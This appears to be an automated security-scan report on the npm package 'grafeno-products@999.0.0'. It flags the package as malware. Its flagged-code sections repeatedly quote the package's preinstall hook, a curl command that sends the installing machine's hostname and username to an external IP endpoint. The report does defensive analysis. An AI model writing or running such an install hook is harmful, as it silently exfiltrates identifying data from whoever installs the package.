registry / grafeno-products / 999.0.0

grafeno-products@999.0.0

Security research

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Installing the package automatically contacts an external endpoint. It transmits host identity without user consent.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation triggers the preinstall lifecycle hook.

Impact

An external operator receives identifying information about the installing environment.

Mechanism

Install-time curl command exfiltrates host and user identifiers.

Attack narrative

The package defines a preinstall hook, so installation automatically runs curl. The command calls an external IP endpoint and includes command substitutions for the host name and current user name. This is unconsented install-time environment data collection; the runtime module provides no corresponding functionality.

Rationale

The package performs automatic install-time host identification and sends it to an external endpoint. This is concrete data exfiltration with no legitimate implementation in the package.

Evidence

package.jsonindex.js

Network endpoints1

216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The npm preinstall hook runs automatically during installation.
The hook invokes curl to an external IP address.
It sends the installing host name and current user name to that endpoint.

Evidence against

The only runtime module exports an empty object.
No additional package files or payloads are present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 25 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)" }

High

Suspicious Lifecycle Evidence

The npm preinstall hook runs automatically during installation.

package.jsonView on unpkg · L6

7"preinstall": "curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)"

High

Ai Review Evidence

The hook invokes curl to an external IP address.

package.jsonView on unpkg · L7

7"preinstall": "curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)"

High

Ai Review Evidence

It sends the installing host name and current user name to that endpoint.

package.jsonView on unpkg · L7

•scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

•scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)" }

High

Suspicious Lifecycle Evidence

The npm preinstall hook runs automatically during installation.

package.jsonView on unpkg · L6

7"preinstall": "curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)"

High

Ai Review Evidence

The hook invokes curl to an external IP address.

package.jsonView on unpkg · L7

7"preinstall": "curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)"

High

Ai Review Evidence

It sends the installing host name and current user name to that endpoint.

package.jsonView on unpkg · L7

•scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

•scripts.preinstall = curl -s http://216.126.236.46:8080/rce?pkg=grafeno-products&h=$(hostname)&u=$(whoami)

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg

Findings

5 High1 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighManifest Script Host Fingerprint Callbackpackage.json#scripts.preinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present